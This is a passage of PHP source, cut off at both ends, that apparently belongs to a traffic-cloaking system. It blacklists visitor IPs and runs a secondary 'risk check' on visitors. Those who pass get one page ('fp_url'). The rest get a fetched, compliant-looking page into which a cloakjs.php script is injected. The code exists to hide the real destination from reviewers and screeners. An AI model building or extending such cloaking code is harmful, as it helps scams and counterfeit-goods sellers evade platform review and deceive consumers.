v_ip); if ($times + 1 >= AUTO_BLACK_TIMES) { write_black_list($v_info->v_ip); } } if (!isset($_SESSION['visit_to_3'])) { $_SESSION['visit_to_3'] = '1'; } if (($_SESSION['visit_to_3'] ?? '1') != '3' && RiskSecondaryGate::isEnabled()) { // 二次风控:先写 wait 状态,f_check 完成后再更新 result / fp_url(避免 true+空跳转) $logs['result'] = 'wait'; $logs['reason'] = '二次风控检测中'; $logs['fp_url'] = ''; $log_id = write_log_db($logs); $riskCtx = [ 'logs' => $logs, 'v_info' => $v_info, 'log_id' => $log_id, ]; if (CLOAK_REDIRECT_METHOD == 'curl') { self::renderRiskCurlInject($riskCtx); return; } RiskPageRenderer::render($riskCtx); return; } $logs['result'] = 'true'; $logs['reason'] = ''; FpPageRenderer::render(['logs' => $logs]); } /** * @param array $ctx 需含 v_info, log_id */ private static function renderRiskCurlInject(array $ctx) { extract($ctx, EXTR_SKIP); $zp_url = DB_ZP; $html = file_get_content_sstr($zp_url); $_html = caiji_lujing_buquan($html, $zp_url, $_SERVER['HTTP_HOST']); ob_start(); require dirname(__DIR__, 3) . '/cloakjs.php'; $js_to_inject = ob_get_clean(); if (hasHeadTag($_html)) { $new_html = preg_replace('/(
]*>)/i', "$1\n" . $js_to_inject, $_html); } else { $new_html = $js_to_inject . $_html; } echo $new_html; exit; } private static function echoJsRedirect($zp_url) { $zp_url_js = htmlspecialchars($zp_url, ENT_QUOTES, 'UTF-8'); echo ''; } }